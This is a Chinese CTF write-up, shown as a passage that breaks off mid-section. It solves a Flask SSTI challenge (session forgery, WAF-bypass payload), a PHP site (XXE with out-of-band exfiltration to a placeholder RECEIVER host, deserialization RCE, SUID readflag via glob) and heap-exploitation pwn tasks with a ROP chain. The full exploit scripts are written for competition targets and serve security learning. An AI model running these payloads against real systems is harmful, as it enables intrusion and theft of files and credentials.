2026山城杯CTF WP
本文记录山城杯CTF解题过程,涵盖SSTI绕过WAF伪造Session、XXE外带触发PHP反序列化RCE及Z3符号执行还原VM指令集。
Web
梗图工坊
首页、广场、登录、注册都能匿名看。翻到 /workshop 的时候被重定向去了 /login,于是注册了个账号登进去,再看 /workshop,这次不跳登录了,直接 403:
批量工坊仅对运营管理员开放,内测期间请移步模板广场登录之后浏览器里多了个 session Cookie
base64 解一下就是明文
看到这里一般就是要伪造 jwt 了
首页每张梗图卡片右下角都有个源文件,点进去是:
/api/template/source?name=memes/meme_1.html返回的是模板源文件,里面能看到 Jinja 占位符:
<h2>{{ top_text | default('甲方爸爸的微笑') }}</h2>
<p>{{ bottom_text | default('再改最后一版,这次真的上线') }}</p>
<p>—— 需求评审第 {{ version | default(47) }} 版</p>这个接口明显是按文件名读文件,先试试能不能穿越:
name=../app.py→ 400name=/etc/passwd→ 400
.. 被拦、绝对路径被拦、不在白名单前缀里的 403
测试了使用 app.py 直接返回源码了
有了源码直接分析:
源码里最扎眼的一行:
app.secret_key = "EasyMeme2026!"再看工坊的逻辑:
@app.route("/workshop", methods=["GET", "POST"])
def workshop():
if not session.get("user"):
return redirect(url_for("login"))
if not session.get("admin"):
abort(403, description="批量工坊仅对运营管理员开放,内测期间请移步模板广场")
if not session_content_safe(dict(session)):
...
if request.method == "POST":
nick = request.form.get("nickname", "")
if not nick.strip():
return render_template("workshop.html", error="昵称模板不能为空")
if len(nick) > 600:
return render_template("workshop.html", error="昵称模板过长(上限 600 字符),请精简后重试")
if not wtf_check(nick):
return render_template("workshop.html", error="WTF 过滤引擎已拦截你的昵称模板(触发黑名单)")
msg = ("批量渲染开始,本次模板:[" + nick + "],跑完的预览如下,没问题就全量发。")
try:
rendered = render_template_string(msg)
except Exception:
return render_template("workshop.html", error="模板语法错误,请检查昵称模板")
return render_template("workshop.html", result=rendered)注意到一个 session_content_safe,它会把 session 里所有字符串也过一遍 WAF,外加一批特殊字符:
SESSION_BAD_CHARS = set(";|&$`*?()<>\\{}[]/\n\r\t")顺便把源码泄露接口的实现也看了,白名单是:
SOURCE_ALLOWED_FILES = {"app.py"}
SOURCE_ALLOWED_PREFIXES = ("memes/", "templates/")伪造一个管理员cookie
有了 secret 直接伪造:
import base64, hashlib, hmac, json, time
SECRET = "EasyMeme2026!"
def b64u(b: bytes) -> str:
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
def forge(data: dict, secret: str = SECRET, ts: int = None) -> str:
if ts is None:
ts = int(time.time()) - 60
derived = hmac.new(secret.encode(), b"cookie-session", hashlib.sha1).digest()
payload = b64u(json.dumps(data, separators=(",", ":")).encode())
t, tsb = ts, b""
while t:
tsb = bytes([t & 0xFF]) + tsb
t >>= 8
ts64 = b64u(tsb)
sig = b64u(hmac.new(derived, f"{payload}.{ts64}".encode(), hashlib.sha1).digest())
return f"{payload}.{ts64}.{sig}"
print(forge({"admin": True, "user": "meme_king"}))拿到 admin 的 cookie 直接登录成功
SSTI
工坊就一个输入框「昵称模板」。先丢个最经典的:
{{7*7}}渲染结果里返回:
批量渲染开始,本次模板:[49],跑完的预览如下,没问题就全量发。SSTI 确认。接着试常见的利用链:
{{config}} -> WTF 过滤引擎已拦截你的昵称模板(触发黑名单)
{{''.__class__}} -> 拦截
{{lipsum}} -> 拦截字符层面,把每个 ASCII 字符夹在 a 和 b 中间试:
a"b、a'b、a.b、a[b、a]b、a\b全部拦截;a_b、a~b、a|b、a(b、a{b、a b都能过。
也就是说引号、点、方括号、反斜杠都被禁了。
关键词层面,把常见词夹在 zz...zz 里试,大小写都试过,确认是大小写不敏感的子串匹配:
拦:
class、mro、globals、init、builtins、base、subclass、os、import、eval、exec、popen、system、open、read、write、print、input、format、chr、flag、config、self、request、lipsum、cycler、joiner、namespace、url_for、item、values、select、loop;放行:
get、attr、join、batch、first、last、list、dict、range、string、listdir、environ、curdir、sep。
再加一条:连续两个下划线 __ 也会被拦。
尝试绕过 waf:
{% set u=(dict(_=1)|join)*2 %}
{% set o=dict|attr(u~dict(bas=1,es=1)|join~u)|last %}o 就是 <class 'object'>。
接着把子类全列出来:
{{ o|attr(u~dict(su=1,bcla=1,sses=1)|join~u)() }}输出是一个 527 项的列表,找和 os 相关的类找到了 os._wrap_close
发现位置是 142
把上面的东西拼成一个完整的 payload:
{% set u=(dict(_=1)|join)*2 %}{% set o=dict|attr(u~dict(bas=1,es=1)|join~u)|last %}{% set g=dict|attr(u~dict(bas=1,es=1)|join~u)|last|attr(u~dict(su=1,bcla=1,sses=1)|join~u)()|batch(142)|first|last|attr(u~dict(in=1,it=1)|join~u)|attr(u~dict(glo=1,bals=1)|join~u) %}{{ g|attr(dict(g=1,et=1)|join)(u~dict(buil=1,tins=1)|join~u)|attr(dict(g=1,et=1)|join)(dict(o=1,pen=1)|join)((g|attr(dict(g=1,et=1)|join)(dict(sep=1)|join))~dict(fl=1,ag=1)|join~dict(_b19f0b52=1)|join~(g|attr(dict(g=1,et=1)|join)(dict(cur=1,dir=1)|join))~dict(tx=1,t=1)|join)|join }}发到 /workshop,渲染结果:
flag{45d861d8-2f6e-43f3-ba37-af69dab1d3e6}题目源码
app.py 全文:
import hashlib
import io
import os
import time
from flask import (Flask, abort, redirect, render_template,
render_template_string, request, Response, session,
url_for)
from waf import check as wtf_check
app = Flask(__name__)
app.secret_key = "EasyMeme2026!"
USERS = {
"meme_king": {"pwd": "8f1e", "bio": "十万赞梗图大师", "since": "2025-11"},
"sha_diao_66": {"pwd": "1c9a", "bio": "沙雕图搬运工", "since": "2026-01"},
"doge_lover": {"pwd": "77aa", "bio": "doge 永不过时", "since": "2026-02"},
"cat_main": {"pwd": "3b0d", "bio": "猫猫头产量担当", "since": "2026-03"},
}
MEMES = [
{"id": 1, "author": "meme_king", "title": "甲方爸爸的微笑", "likes": 43962, "tag": "职场"},
{"id": 2, "author": "sha_diao_66", "title": "周末加班的我", "likes": 23341, "tag": "沙雕"},
{"id": 3, "author": "cat_main", "title": "周一早八的猫猫", "likes": 52008, "tag": "猫猫"},
{"id": 4, "author": "doge_lover", "title": "To da moon!", "likes": 8876, "tag": "doge"},
{"id": 5, "author": "meme_king", "title": "改需求前 vs 改需求后", "likes": 66512, "tag": "职场"},
{"id": 6, "author": "sha_diao_66", "title": "代码跑通了(没测)", "likes": 10238, "tag": "程序员"},
]
ANNOUNCE = "【公告】批量工坊还在内测,功能没做全,出 bug 等管理员来修。"
def hash_pwd(u, p):
return hashlib.sha256((u + "$meme$" + p).encode()).hexdigest()
@app.route("/")
def index():
return render_template("index.html", announce=ANNOUNCE,
memes=MEMES[:3], user=session.get("user"))
@app.route("/robots.txt")
def robots():
return Response("User-agent: *\n"
"Disallow: /static/_private/\n"
"Disallow: /template/preview/\n",
mimetype="text/plain")
@app.route("/register", methods=["GET", "POST"])
def register():
error = None
if request.method == "POST":
u = request.form.get("username", "").strip()
p = request.form.get("password", "")
if not u or not p:
error = "用户名和密码不能为空"
elif u in USERS:
error = "用户名已被占用"
elif any(c in u for c in "<>\"'"):
error = "用户名含非法字符"
else:
USERS[u] = {"pwd": hash_pwd(u, p)[:4], "bio": "萌新路过",
"since": time.strftime("%Y-%m")}
return redirect(url_for("login"))
return render_template("register.html", error=error)
@app.route("/login", methods=["GET", "POST"])
def login():
error = None
if request.method == "POST":
u = request.form.get("username", "").strip()
p = request.form.get("password", "")
rec = USERS.get(u)
if rec and rec["pwd"] == hash_pwd(u, p)[:4]:
session["user"] = u
session["admin"] = False
return redirect(url_for("index"))
error = "用户名或密码错误"
return render_template("login.html", error=error)
@app.route("/logout")
def logout():
session.clear()
return redirect(url_for("index"))
@app.route("/plaza")
def plaza():
return render_template("plaza.html", memes=MEMES, user=session.get("user"))
@app.route("/workshop", methods=["GET", "POST"])
def workshop():
if not session.get("user"):
return redirect(url_for("login"))
if not session.get("admin"):
abort(403, description="批量工坊仅对运营管理员开放,内测期间请移步模板广场")
if not session_content_safe(dict(session)):
return render_template("workshop.html",
error="WTF 过滤引擎已拦截你的会话内容(触发黑名单)")
if request.method == "POST":
nick = request.form.get("nickname", "")
if not nick.strip():
return render_template("workshop.html", error="昵称模板不能为空")
if len(nick) > 600:
return render_template("workshop.html",
error="昵称模板过长(上限 600 字符),请精简后重试")
if not wtf_check(nick):
return render_template("workshop.html",
error="WTF 过滤引擎已拦截你的昵称模板(触发黑名单)")
msg = ("批量渲染开始,本次模板:[" + nick + "],跑完的预览如下,没问题就全量发。")
try:
rendered = render_template_string(msg)
except Exception:
return render_template("workshop.html", error="模板语法错误,请检查昵称模板")
return render_template("workshop.html", result=rendered)
return render_template("workshop.html")
SOURCE_ALLOWED_FILES = {"app.py"}
SOURCE_ALLOWED_PREFIXES = ("memes/", "templates/")
SESSION_BAD_CHARS = set(";|&$`*?()<>\\{}[]/\n\r\t")
def _iter_session_strings(value):
if isinstance(value, str):
yield value
elif isinstance(value, dict):
for k, v in value.items():
if isinstance(k, str):
yield k
yield from _iter_session_strings(v)
elif isinstance(value, (list, tuple)):
for item in value:
yield from _iter_session_strings(item)
def session_content_safe(value):
for s in _iter_session_strings(value):
if not wtf_check(s) or any(c in s for c in SESSION_BAD_CHARS):
return False
return True
@app.route("/api/template/source")
def template_source():
name = request.args.get("name", "")
if not name or name.startswith("/") or ".." in name:
abort(400)
base = os.path.dirname(os.path.abspath(__file__))
real = os.path.realpath(os.path.join(base, name))
if not real.startswith(base + os.sep):
abort(400)
rel = os.path.relpath(real, base).replace(os.sep, "/")
if rel not in SOURCE_ALLOWED_FILES and not any(
rel.startswith(prefix) for prefix in SOURCE_ALLOWED_PREFIXES):
abort(403)
try:
with io.open(real, "r", encoding="utf-8", errors="replace") as f:
return Response(f.read(), mimetype="text/plain")
except Exception:
abort(404)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000, debug=False)waf.py 全文:
BLACK_CHARS = ['.', '[', ']', '\'', '"', '\\']
BLACK_WORDS = [
'__', 'globals', 'class', 'base', 'mro', 'init', 'subclass',
'builtins', 'import', 'eval', 'exec', 'popen', 'system', 'flag',
'config', 'self', 'request', 'os', 'subprocess',
'open', 'read', 'write', 'print', 'chr', 'input', 'format',
'unsafe', 'escape', 'lipsum', 'url_for', 'cycler', 'joiner',
'namespace', 'values', 'item', 'loop', 'select',
'get_flashed_messages',
]
def check(s):
t = s.lower()
for c in ' \t\r\n':
t = t.replace(c, '')
for c in BLACK_CHARS:
if c in t:
return False
for w in BLACK_WORDS:
if w in t:
return False
return True光影迷局
一、题目信息
题目名称:光影迷局
最终 flag:flag{717c8e49-1b52-4505-858e-319038331a5d}
攻击链一共四步:泄露密钥伪造登录,XML 导入触发 XXE 读源码,反序列化 gadget 拿下 RCE,SUID readflag 读 flag
二、信息收集
首页是展览页,后台入口在 /admin/。登录表单只有三个字段,用户名、时间戳、签名
/static/login.js 里写了签名算法,还有一条注释说明 readflag 的门禁 token 与签名同源,取 md5 密钥的前 8 位
// 后台备份恢复 readflag 的门禁 token 与签名同源:md5(_secret) 前 8 位。
window._genSign = function (_u, _t) {
return _md5(_u + _t + _secret);
};_secret 从 /static/bg.svg 的 metadata 里取,内容是 Base64
<metadata>UzNjcmV0X0tleV8yMDI2</metadata>S3cret_Key_2026于是得到:
secret = S3cret_Key_2026
gate = md5(secret)[:8] = c1187aec三、登录绕过
login.php 的逻辑是固定用户名 admin,时间戳与服务器时间相差不超过 300 秒,签名等于 md5 拼接串
$expect = md5($username . $timestamp . $SECRET);
if (!hash_equals($expect, $sign)) { ... }
$_SESSION['admin'] = true;密钥已经泄露,直接对当前时间戳算签名就能登录
sign = md5("admin" + str(int(time.time())) + "S3cret_Key_2026").hexdigest()POST 之后返回 {"code":0,"msg":"登录成功"},带上 PHPSESSID 就进了后台
四、后台功能
后台四个页面。
页面 | 功能 | 关键点 |
|---|---|---|
home.php | 仪表盘 | 纯静态 |
import.php | 数据导入 | 图片和 XML 站点配置 |
backup.php | 备份管理 | 列出、查看、下载 bak 文件 |
restore.php | 备份恢复 | 上传 bak 后反序列化 |
备份文件格式是 #GBK1# 加 Base64,解码后是 PHP 序列化对象
O:10:"BackupData":3:{s:2:"id";i:3;s:4:"name";s:11:"site_config";s:7:"created";s:10:"2026-09-05";}restore.php 先校验文件头,再 base64_decode,然后过 WAF 和字符清洗,最后 unserialize
import.php 的扩展名白名单里除了图片还有 xml,题面说的导入站点配置就是这里
五、XML 导入触发 XXE
先用实体做存在性探测
<!DOCTYPE site [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<site><name>&x;</name></site>指向 /etc/passwd 返回导入成功,指向不存在的文件返回 XML 解析失败,说明外部实体被真实解析,PHP 用了 LIBXML_NOENT
lib/waf.php 的规则是纯字节匹配
if (preg_match('/\bSYSTEM\b/', $content)) return true;
if (preg_match('#(?:php|expect|data|phar|zip|compress\.zlib)://#i', $content)) return true;把整包 XML 用 UTF-16 编码,SYSTEM 的字节序列中间会插入 0x00,正则匹配不到,WAF 直接失效
外带链
libxml 不允许在内部子集的标记声明里引用参数实体。把 DTD 放到远端也不行,应用只开了 LIBXML_NOENT,没有开 DTDLOAD,外部 DTD 不会被加载。
最终用 data:// 承载外部参数实体。外部 DTD 的解析规则允许 %file; 嵌套,data:// 又不需要真正的外部文件
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE site [
<!ENTITY % ext SYSTEM "data://text/plain;base64,<base64(DTD)>">
%ext;
]>
<site><name>&exfil;</name></site>DTD 内容如下
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/admin/restore.php">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://RECEIVER/oob?d=%file;'>">
%eval;
%exfil;执行顺序是加载 data 里的 DTD,读取目标文件并压缩编码,动态定义 exfil,最后引用 exfil 把内容带到接收端
外带通道用我 vps 上的临时 HTTP 服务:
self.path
open("/root/recv.log", "a").write(self.path + "\n")先用 /etc/hostname 验证通道,读回主机名 ctf-web-blind-85066ba9e9af4e02。随后读回后台源码
restore.php 4557 B
lib/backup_compat.php 216 B
lib/waf.php 720 B
backup.php 4551 B
login.php 1142 B
home.php 5328 B六、源码分析
restore.php 的关键逻辑
require_once __DIR__ . '/lib/backup_compat.php';
require_once __DIR__ . '/lib/waf.php';
class BackupData { public $id; public $name; public $created; }
...
do {
$data = preg_replace('/(?:flag|system)/i', '', $data);
$data = str_replace(["'", '`', '$', "\x00"], '', $data);
} while ($data !== $prev);
$obj = @unserialize($data);BackupData 本身没有魔术方法,真正的 gadget 在 lib/backup_compat.php
class A1b2C3d4 {
public $x9z;
function __destruct() {
$g = base64_decode('c3lzdGVt');
$g($this->x9z);
}
}base64_decode('c3lzdGVt') 就是 system,析构时执行 $this->x9z
反序列化侧的 WAF 规则
if (strpos($data, 'A1b2C3d4') !== false) return true;
if (preg_match('/readf\*/i', $data)) return true;
if (preg_match('/readflag/i', $data)) return true;类名检查用的是 strpos,区分大小写。PHP 的类名不区分大小写,把类名写成 A1B2C3D4 就能同时绕过 WAF 并命中真实类
七、反序列化 RCE
构造序列化对象
O:8:"A1B2C3D4":1:{s:3:"x9z";s:2:"id";}外层套上备份格式,也就是 #GBK1# 加 Base64,上传到 /admin/restore.php。页面返回备份恢复成功,脚本结束时对象析构,命令输出追加在 </html> 之后
uid=33(www-data) gid=33(www-data) groups=33(www-data)到这里已经是 www-data 权限的 RCE
八、SUID 提权读 flag
先确认 flag 位置和权限
ls -la /
# -rw------- 1 root root 43 /flag找 SUID 程序
find / -perm -4000 -type f 2>/dev/null
# /usr/local/bin/readflag看一下程序信息
file /usr/local/bin/readflag
strings /usr/local/bin/readflag | head -40
# usage: readflag <token>
# c1187aectoken 就是 md5 密钥的前 8 位,和 login.js 的注释一致
命令里不能出现 readflag,也不能出现 flag,用 glob 绕过
/usr/local/bin/readfla? c1187aecshell 会把 readfla? 展开成 readflag,SUID 程序读 /flag 并输出
flag{717c8e49-1b52-4505-858e-319038331a5d}九、完整利用脚本
9.1 外带接收器 recv_server.py
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys
PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8000
LOG = "/tmp/recv.log"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
if path.startswith("/log"):
try:
data = open(LOG, "rb").read()
except Exception:
data = b""
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(data)))
self.end_headers()
self.wfile.write(data)
return
if path.startswith("/clear"):
open(LOG, "w").close()
self.send_response(200)
self.end_headers()
self.wfile.write(b"cleared")
return
with open(LOG, "a", encoding="utf-8") as f:
f.write(path + "\n")
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, *args):
pass
HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()启动:
python3 recv_server.py 80009.2 XXE 外带 xxe_exfil.py
import base64, hashlib, sys, time, urllib.request, urllib.error, urllib.parse, http.cookiejar, zlib
BASE = "http://TARGET:PORT"
SECRET = "S3cret_Key_2026"
RECV = "http://RECEIVER:8000"
DTD_TEMPLATE = """<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=__PATH__">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM '__RECV__/oob/__TAG__?d=%file;'>">
%eval;
%exfil;"""
def login(base=BASE, secret=SECRET):
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
op.open(base + "/admin/", timeout=20).read()
ts = str(int(time.time()))
sign = hashlib.md5(("admin" + ts + secret).encode()).hexdigest()
data = urllib.parse.urlencode({
"username": "admin",
"timestamp": ts,
"sign": sign,
}).encode()
req = urllib.request.Request(base + "/admin/login.php", data=data, method="POST")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
op.open(req, timeout=20).read()
return op
def upload_xml(op, content, base=BASE):
fname = "site.xml"
boundary = "----w" + hashlib.md5(content + fname.encode()).hexdigest()[:8]
body = ("--" + boundary + "\r\n").encode()
body += ('Content-Disposition: form-data; name="file"; filename="%s"\r\n' % fname).encode()
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += content + ("\r\n--" + boundary + "--\r\n").encode()
req = urllib.request.Request(base + "/admin/import.php", data=body, method="POST")
req.add_header("Content-Type", "multipart/form-data; boundary=" + boundary)
return op.open(req, timeout=30).read().decode("utf-8", "replace")
def recv_log(recv=RECV):
try:
return urllib.request.urlopen(recv + "/log", timeout=15).read().decode("utf-8", "replace")
except Exception:
return ""
def build_payload(path, tag, recv=RECV):
dtd = DTD_TEMPLATE.replace("__PATH__", path)
dtd = dtd.replace("__RECV__", recv)
dtd = dtd.replace("__TAG__", tag)
dtd_b64 = base64.b64encode(dtd.encode()).decode()
xml = (
'<?xml version="1.0" encoding="UTF-16"?>'
'<!DOCTYPE site [<!ENTITY % ext SYSTEM "data://text/plain;base64,' + dtd_b64 + '">%ext;]>'
'<site><name>&exfil;</name></site>'
)
return xml.encode("utf-16")
def read_file(op, path, tag="x1", recv=RECV, wait=25):
before = recv_log(recv)
upload_xml(op, build_payload(path, tag, recv))
deadline = time.time() + wait
while time.time() < deadline:
time.sleep(1.5)
for line in recv_log(recv).splitlines():
if "/oob/" + tag not in line or line in before:
continue
if "d=" not in line:
continue
raw = urllib.parse.unquote(line.split("d=", 1)[1])
if len(raw) < 8:
continue
try:
data = base64.b64decode(raw.replace(" ", "+") + "=" * (-len(raw) % 4))
return zlib.decompress(data, -15).decode("utf-8", "replace")
except Exception:
continue
return None
if __name__ == "__main__":
if len(sys.argv) < 2:
print("usage: python xxe_exfil.py <remote_path> [tag]")
sys.exit(1)
remote_path = sys.argv[1]
tag_name = sys.argv[2] if len(sys.argv) > 2 else "x1"
opener = login()
result = read_file(opener, remote_path, tag_name)
if result is None:
print("no data")
else:
print(result)用法:
python3 xxe_exfil.py /var/www/html/admin/restore.php
python3 xxe_exfil.py /var/www/html/admin/lib/backup_compat.php
python3 xxe_exfil.py /var/www/html/admin/lib/waf.php9.3 反序列化 RCE rce.py
import base64, hashlib, sys, time, urllib.request, urllib.error, urllib.parse, http.cookiejar
BASE = "http://TARGET:PORT"
SECRET = "S3cret_Key_2026"
def login(base=BASE, secret=SECRET):
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
op.open(base + "/admin/", timeout=20).read()
ts = str(int(time.time()))
sign = hashlib.md5(("admin" + ts + secret).encode()).hexdigest()
data = urllib.parse.urlencode({
"username": "admin",
"timestamp": ts,
"sign": sign,
}).encode()
req = urllib.request.Request(base + "/admin/login.php", data=data, method="POST")
req.add_header("Content-Type", "application/x-www-form-urlencoded")
op.open(req, timeout=20).read()
return op
def run(op, cmd, base=BASE):
serialized = 'O:8:"A1B2C3D4":1:{s:3:"x9z";s:%d:"%s";}' % (len(cmd.encode()), cmd)
payload = b"#GBK1#" + base64.b64encode(serialized.encode())
boundary = "----w" + hashlib.md5(payload).hexdigest()[:8]
body = ("--" + boundary + "\r\n").encode()
body += b'Content-Disposition: form-data; name="backup"; filename="x.bak"\r\n'
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += payload + ("\r\n--" + boundary + "--\r\n").encode()
req = urllib.request.Request(base + "/admin/restore.php", data=body, method="POST")
req.add_header("Content-Type", "multipart/form-data; boundary=" + boundary)
try:
page = op.open(req, timeout=30).read().decode("utf-8", "replace")
except urllib.error.HTTPError as exc:
page = exc.read().decode("utf-8", "replace")
return page.split("</html>", 1)[-1].strip()
if __name__ == "__main__":
command = " ".join(sys.argv[1:]) if len(sys.argv) > 1 else "id"
opener = login()
print(run(opener, command))用法:
python3 rce.py id
python3 rce.py "/usr/local/bin/readfla? c1187aec"命令里不能出现 flag 和 system 两个单词,也不能出现单引号、反引号、美元符号。需要读 /flag 时用 glob 展开,也就是 readfla? 这种写法
Pwn
Vault
note 表在 .bss,每条 56 字节、最多 64 条:
struct note { // 每条 0x38 字节
char *ptr; // +0x00
size_t size; // +0x08 1..4096
int in_use; // +0x10
char title[32]; // +0x14
};Create:先读 title(≤31 字节 + 补 NUL)、再读 size、malloc(size)后读入内容;Edit:读入 size 字节;若read()==size还会在ptr[size]写 NUL;View:先strlen打 title,再write(1, ptr, size);只判断 ptr 非空;Delete:free(ptr)后仅把in_use清 0,不清 ptr。
启动时 prctl(NO_NEW_PRIVS) + prctl(SECCOMP),BPF 白名单:read write open openat close lseek exit exit_group mmap mprotect brk fstat。
newfstatat mremap sendfile pread64 readv writev madvise getrandom sched_yield nanosleep
没有 execve,所以走 ORW。
case '3':
if (*(_QWORD *)(entry)) { write(1, ptr, size); } // ptr 仍是已 free 的 chunkfree 一个 > 0x410 的 chunk(不进 tcache)→ 进 unsorted bin →
view读出fd/bk = main_arena + 96→ libc 基址;free 一个 0x20 chunk 到空 tcache bin →
view读出next = (user >> 12)
(safe-linking,bin 空时高 52 位就是 user>>12)→ 堆基址。
v21 = read(0, ptr, size);
if (v21 > 0 && ptr[v21-1] == '\n') ptr[v21-1] = 0;
if (v21 == size) ptr[size] = 0; // 多发一个 NULrequest ≡ 8 (mod 16) 时 ptr+size 正好是下一个 chunk 的 size 字段最低字节。
让下一个 chunk 的 size 形如 0x?01,NUL 就把 PREV_INUSE 清掉(size 变成 0x?00)。
所有分配从 top 连续切出,以下偏移相对堆基址 hb:
偏移 | 大小 | 用途 |
|---|---|---|
0x290 | 0x40 | Z:fake chunk 在它的 user data( |
0x2d0 / 0x2f0 | 0x20 ×2 | S1/S2:bin 0x20,读 |
0x310 / 0x720 | 0x410 ×2 | A1/A2:bin 0x410,扫栈 |
0xb30 / 0xc90 | 0x160 ×2 | R1/R2:bin 0x160,写 ROP |
0xdf0 | 0x20 | P:负责打 NUL 的“上一块” |
0xe10 | 0x100 | B:einherjar 受害者 |
0xf10 | 0x20 | barrier |
0xf30…0x1630 | 0x100 ×7 | 填满 tcache[0x100],让 |
0x1630 | 0x20 | LX:堆泄漏 |
0x1650 | 0x430 | L1:libc 泄漏 |
house of einherjar
在 Z 的 data 里构造 fake chunk:
size = B - F = 0xb70、fd = bk = F、fd_nextsize = 0(合并时unlink_chunk对 >smallbin 的 chunk 会检查 nextsize)。edit(P)正好 0x18 字节:前 16 字节填充、最后 8 字节写B.prev_size = 0xb70,
NUL 落到B.size最低字节 →B.size = 0x100且PREV_INUSE = 0。填满 tcache[0x100] 后
delete(B):_int_free走慢路径,!prev_inuse(B)→
向前合并[F, B+0x100)(0xb70+0x100 = 0xc70),放入 unsorted。为了远程安全(见 §4)把合并块拆成两个重叠笔记:
E1 = create(0x6f8)→ 拿到F(chunk 0x700);E2 = create(0x568)→ 拿到剩余 0x570。
E1/E2 的 data 覆盖了 Z 尾部、S/A/R/P/B 全部 carrier 的 chunk 头。
tcache 投毒
glibc 2.35 要点:
tcache 里存的是 user 指针(不是 chunk 指针);
next用 safe-linking:stored = (pos >> 12) ^ ptr,pos是 carrier 自己的 user 地址;tcache_get检查aligned_OK(e)(16 字节对齐),并写e->key = 0;malloc 只在
counts[tc_idx] > 0时才会取 tcache,所以每个 bin 要先 free 两个
carrier:第一次弹掉被改的,第二次才弹到目标。
用 edit(E1/E2) 改 free 后 carrier 的 next:
v.edit(e1, build(E1_DATA, E1_HDRS, 0x490,
[(0x50, protect(S2U, environ_addr - 0x10)),
(0x480, protect(A2U, win))]))泄漏 environ、定位 main 返回地址
在
&environ(libc+0x222200)处分配:user = environ_addr - 0x10,先写 0x10 字节
(不碰 environ 本身),再view0x18 → 偏移 0x10 就是栈地址。在
environ - 0x400 - (environ & 0xF)处分配 0x410 chunk,view0x408 字节扫栈,
找libc + 0x29d90(__libc_start_call_main中call main之后的返回地址)。
命中的地址就是main的 rbp:main prologue: push r15..rbx (0x30) / sub rsp,0x188 / lea rbp,[rsp+0x1B8] => rbp == 进入 main 时的 rsp == 返回地址所在槽 => 任意从 main 发出的 call,其返回地址槽 = rbp - 0x1C0
ROP
create 的 content read 就是 read(0, ptr, size),把 ptr 指到返回地址槽即可在read 返回时劫持。注意对齐和 e->key = 0 的写:
tcache entry 必须 16 对齐 → 取
user = slot - 0x18;key写在user+8 = slot-0x10(red zone,安全);内容 =
0x18字节填充 + 链,链的第一条正好落在slot。
chain = b"A" * 0x18
chain += p64(PR) + p64(3) + p64(libc + OFF_CLOSE) # close(3)
chain += p64(PR) + p64(FLAG_STR) + p64(PS) + p64(0) + p64(libc + OFF_OPEN)
chain += p64(PR) + p64(3) + p64(PS) + p64(RDBUF) + p64(PDR) + p64(0x100) + p64(0) + p64(libc + OFF_READ)
chain += p64(PR) + p64(1) + p64(PS) + p64(RDBUF) + p64(PDR) + p64(0x100) + p64(0) + p64(libc + OFF_WRITE)
chain += p64(PR) + p64(0) + p64(libc + OFF_EXIT)gadget / 函数偏移(libc.so.6):pop rdi=0x2a3e5、pop rsi=0x2be51、pop rdx;pop rbx=0x90469、close=0x1150a0、open=0x114630、read=0x114920、write=0x1149c0、_exit=0xeabc0。
织机骨架
题面是一段 GC 隐喻:织机(Loom / v22-skel)把活页往一头挪(compact);年轻对象扫得勤,老的只在被改过时才重扫(分代 + 写屏障);共享对象不会死,所以写共享对象时连账都不记(跳过写屏障)。
程序是静态 PIE、全符号剥离的菜单服务:
AUTOBREW-9000 v22-skel -- 'Loom'
shelf: 0x50 0x30
1 arr 2 intern 3 set 4 get 5 geti 6 gc 7 compact 8 callx 9 run b code a brew 0 quit
>a brew 是终点:它校验“ledger + op”一致后打开 /flag 打印;校验不过则输出 BREW_FAIL: ledger torn / wrong ingredients。
$ file autobrew
ELF 64-bit LSB pie executable, x86-64, static-pie linked, stripped
$ pwn checksec ./autobrew
Full RELRO | Canary: No | NX: Yes | PIE: Yes | SHSTK | IBT关键字符串:BREW_FAIL: no ledger / no op / ledger torn / wrong ingredients、/flag、no /flag here、stale intern、vm: bad op、callx: bad arity。
main 在 0x7A40(0x15B3 字节),下面是三个必须逆向的支撑函数:sub_9220(分配)、sub_9630(标记)、sub_93B0(brew 校验)。
unk_DFB00 16 个槽 × 32 字节(对象表)
+0 qword off arena 内偏移
+8 qword size 数据区字节数
+16 dword gen 代际序号(随机 28 bit,非 0)
+20 byte live
+21 byte dirty 写屏障/记忆集标记
+22 byte intern 共享对象标记
+24 qword refmap 每 8 字节元素是否“引用”
unk_DFD10 数据 arena,总长 0x1400(5120)
::n5120 bump 指针(起始 0)对象头 16 字节:kind(u32) size(u32) gen(u32) flags(u32),数据从 off+16 开始。flags:bit0=OLD、bit1=MARK、bit2=SHARED(分配时 4 * (kind==2))。
IDA 里
qword_DFD18/qword_DFD20看着像全局指针,实际反汇编是lea rcx, qword_DFD18——它们只是arena+8与arena+16的静态基址别名,没有运行时存储。
handle = slot_index | (gen << 4); // 打印为 h %u
resolve(h): idx = h & 0xF; gen = h >> 4; // 槽 live 且 gen 匹配才有效槽只有 16 个,所以对象数上限 16;句柄低 4 位是槽号,高位是随机代际
need = (size + 15) & ~15;
if (free_count == 0) { // bump
idx = 第一个 live==0 的槽; if (none) return -1;
if (::n5120 + need + 16 > 0x1400) return -1;
off = ::n5120; ::n5120 += need + 16;
} else { // LIFO 复用
idx = free_stack[--free_count];
off = slot[idx].off;
if (off + need + 16 > 0x1400) return -1; // 只查顶部边界
}
hdr = arena + off;
hdr->kind = kind; hdr->size = size; hdr->gen = rand() | 1; hdr->flags = 4*(kind==2);
memset(arena + off + 16, 0, size);
slot[idx] = {off, size, gen, live=1, dirty=0, intern=0};kinds:1=array、2=intern(32B, SHARED)、3=ledger(40B)、4=op(32B)、5=code。
注意复用分支不比较原对象大小(F4):一个 32 字节的 intern 槽可以原地被 4KB 对象复用,直接覆盖后面的邻居。
gc(g):
// 1) 清标记
